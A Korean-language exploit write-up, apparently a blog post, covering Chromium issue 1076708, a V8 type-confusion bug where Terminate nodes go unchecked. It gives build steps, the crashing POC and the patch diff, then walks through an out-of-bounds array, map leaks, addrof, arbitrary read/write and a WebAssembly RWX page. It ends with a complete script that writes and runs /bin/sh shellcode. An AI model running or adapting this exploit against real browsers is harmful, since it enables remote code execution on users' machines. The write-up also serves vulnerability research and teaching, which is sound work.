목차
-
빌드
-
POC 및 패치
-
익스플로잇
-
레퍼런스
빌드
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=`pwd`/depot_tools:"$PATH"
fetch v8
cd v8
git checkout a4dcd39d521d14c4b1cac020812e44ee04a7f244
gclient sync
tools/dev/gm.py x64.release
POC 및 패치
-
POC
- Terminate node에 대한 검사를 하지 않고 그대로 처리해서 발생하는 type confusion bug
class classA { constructor() { this.val = 0x4242; this.x = 0; this.a = [1,2,3]; } } class classB { constructor() { this.val = 0x4141; this.x = 1; this.s = "dsa"; } } var A = new classA(); var B = new classB() function f (arg1, arg2) { if (arg2 == 41) { return 5; } var int8arr = new Int8Array ( 10 ) ; var z = arg1.x; // new arr length arg1.val = -1; int8arr [ 1500000000 ] = 22 ; async function f2 ( ) { const nothing = {} ; while ( 1 ) { //print("in loop"); if ( abc1 | abc2 ) { while ( nothing ) { await 1 ; print(abc3); } } } } f2 ( ) ; } var arr = new Array(10); arr[0] = 1.1; var i; // this may optimize and deopt, that's fine for (i=0; i < 20000; i++) { f(A,0); f(B,0); } // this will optimize it and it won't deopt // this loop needs to be less than the previous one for (i=0; i < 10000; i++) { f(A,41); f(B,41); } // change the arr length f(arr,0); print("LENGTH: " + arr.length); print("value at index 12: " + arr[12]); // crash print("crash writing to offset 0x41414141"); arr[0x41414141] = 1.1;
-
패치
-
< if (FindDeadInput(node) != nullptr) { --- > // Terminate nodes are not part of actual control flow, so they should never > // be replaced with Throw. > if (node->opcode() != IrOpcode::kTerminate && > FindDeadInput(node) != nullptr) {
-
익스플로잇
-
2020년 초에
pointer compression
이 추가되었다.- 공식문서: https://v8.dev/blog/pointer-compression)
- 간단하게 요약하자면 64비트 아키텍쳐에서 32비트 포인터를 사용하여 메모리를 절약하는 기술이다.
-
pointer compression이 추가되기 전
-
pointer compression이 추가된 이후
-
pointer compression이 걸리기 이전에 Smi를 표현할 때 총 8byte의 공간을 사용했고 값이 들어가는 부분은 상위 4byte뿐이었다. 하지만 이젠 총 4byte의 공간만 사용한다.
-
pointer compression이 걸리기 이전에 Pointer를 표현할 때 총 8byte의 공간을 사용했고 6byte의 값이 메모리에 쓰였는데, 상위 2byte의 값(base)이 다르게 메모리에 저장되진 않기 때문에 하위 4byte의 값(offset)만 저장하는 방식이다.
-
단 double 데이터가 포함된 unboxed array는 64비트로 저장된다.
- unboxed array란 object가 포함되지 않은 배열이다.
-
디버깅 팁
-
gdb에서 poc를 로드하면 트리거 되지 않는다.
-
코드 상에서 멈추고 싶은 부분에 while 문을 통한 무한 루프를 구성하고,
attach
를 하면 POC를 트리거 한 채로 디버깅이 가능했다.
-
-
oob가 발생하는 배열의 뒤에
float_arr
과obj_arr
을 선언한다.oob = [1.1, 1.2, 1.3, 1.4]; float_arr = [2.1, 2.2, 2.3, 2.4]; obj_arr = [{}].slice(); // change the arr length f(oob, 0); print("[+] LENGTH : " + oob.length); // [+] LENGTH : -1
-
oob_read 취약점을 통해
float_map
과object_map
을 leak할 수 있는데pointer compression
이 걸려있어서 4byte씩 끊어서 가져와야한다.aa = (ftoi(oob[14])) ah = aa >> 32n // float map al = aa & 0xffffffffn bb = (ftoi(oob[25])) bh = bb >> 32n bl = bb & 0xffffffffn // object map print ('[+] float map: ' + hex(ah)); print ('[+] object map : ' + hex(bl));
-
offset이 25일때 하위 4바이트가
object map
이기 때문에 이 부분을float_map
으로 덮어서addrof
를 만들 수 있다. -
8byte단위로 overwrite가 되므로 상위 4바이트는 기존 값을 유지시켜 주었다.
function addrof(obj) { obj_arr[0] = obj; oob[25] = itof((bh << 32n) | ah) let addr = obj_arr[0]; oob[25] = itof((bh << 32n) | bl); return ftoi(addr) & 0xffffffffn; }
-
float_array의 elements 부분에 addr - 8을 연산한 값을 넣어주면
aar
과aaw
가 생성된다. -
offset이 15일때 상위 4byte가 elements 부분인데, 마찬가지로 하위 4byte 값은 유지해주었다.
cc = ftoi(oob[15]) cl = cc & 0xffffffffn function aar(addr) { // 15 offset is float_arr's elements oob[15] = itof((addr - 0x8n << 32n) | cl) return ftoi(float_arr[0]); } function aaw(addr, val) { // 15 offset is float_arr's elements oob[15] = itof((addr - 0x8n << 32n) | cl) float_arr[0] = itof(val);
-
wasm을 이용하여
rwx
영역을 만들면 된다. -
rwx 영역의 offset은 디버깅을 통해 알 수 있다.
- vmmap으로 rwx 영역 확인 후 해당 주소를 검색해보면 된다.
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main; var wasm_i_addr = addrof(wasm_instance); var rwx = aar((wasm_i_addr+0x68n)); print('[+] rwx : ' + hex(rwx))
-
셸코드를 실행하면 된다.
-
pointer compression이 걸려있어서 offset을 0x20에서 0x14로 수정해주었다.
var shellcode = [0xbb48f631, 0x6e69622f, 0x68732f2f, 0x5f545356, 0x31583b6a, 0x050fd2]; var shellcode_buf = new ArrayBuffer(0x100); var dataview = new DataView(shellcode_buf); aaw(addrof(shellcode_buf)+0x14n, rwx); for (var i=0; i<shellcode.length; i++) { dataview.setUint32(4*i, shellcode[i], true); }
-
전체 코드
class classA { constructor() { this.val = 0x4242; this.x = 0; this.a = [1,2,3]; } } class classB { constructor() { this.val = 0x4141; this.x = 1; this.s = "dsa"; } } var A = new classA(); var B = new classB() function f (arg1, arg2) { if (arg2 == 41) { return 5; } var int8arr = new Int8Array ( 10 ) ; var z = arg1.x; // new arr length arg1.val = -1; int8arr [ 1500000000 ] = 22 ; async function f2 ( ) { const nothing = {} ; while ( 1 ) { if ( abc1 | abc2 ) { while ( nothing ) { await 1 ; print(abc3); } } } } f2 ( ) ; } var i; // this may optimize and deopt, that's fine for (i=0; i < 20000; i++) { f(A,0); f(B,0); } // this will optimize it and it won't deopt // this loop needs to be less than the previous one for (i=0; i < 10000; i++) { f(A,41); f(B,41); } oob = [1.1, 1.2, 1.3, 1.4]; float_arr = [2.1, 2.2, 2.3, 2.4]; obj_arr = [{}].slice(); // change the arr length f(oob, 0); print("[+] LENGTH : " + oob.length); var buf = new ArrayBuffer(8); var f64_buf = new Float64Array(buf); var u64_buf = new Uint32Array(buf); function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); } function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0]; } function hex(b) { return ('0x' + b.toString(16)); } aa = (ftoi(oob[14])) ah = aa >> 32n // float map al = aa & 0xffffffffn bb = (ftoi(oob[25])) bh = bb >> 32n bl = bb & 0xffffffffn // obj map print ('[+] float map: ' + hex(ah)); print ('[+] obj map : ' + hex(bl)); function addrof(obj) { obj_arr[0] = obj; oob[25] = itof((bh << 32n) | ah) let addr = obj_arr[0]; oob[25] = itof((bh << 32n) | bl); return ftoi(addr) & 0xffffffffn; } cc = ftoi(oob[15]) cl = cc & 0xffffffffn function aar(addr) { oob[15] = itof((addr - 0x8n << 32n) | cl) return ftoi(float_arr[0]); } function aaw(addr, val) { oob[15] = itof((addr - 0x8n << 32n) | cl) float_arr[0] = itof(val); } var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main; var wasm_i_addr = addrof(wasm_instance); var rwx = aar((wasm_i_addr+0x68n)); print('[+] rwx : ' + hex(rwx)) var shellcode = [0xbb48f631, 0x6e69622f, 0x68732f2f, 0x5f545356, 0x31583b6a, 0x050fd2]; var shellcode_buf = new ArrayBuffer(0x100); var dataview = new DataView(shellcode_buf); aaw(addrof(shellcode_buf)+0x14n, rwx); for (var i=0; i<shellcode.length; i++) { dataview.setUint32(4*i, shellcode[i], true); } f();
레퍼런스
https://bugs.chromium.org/p/chromium/issues/detail?id=1076708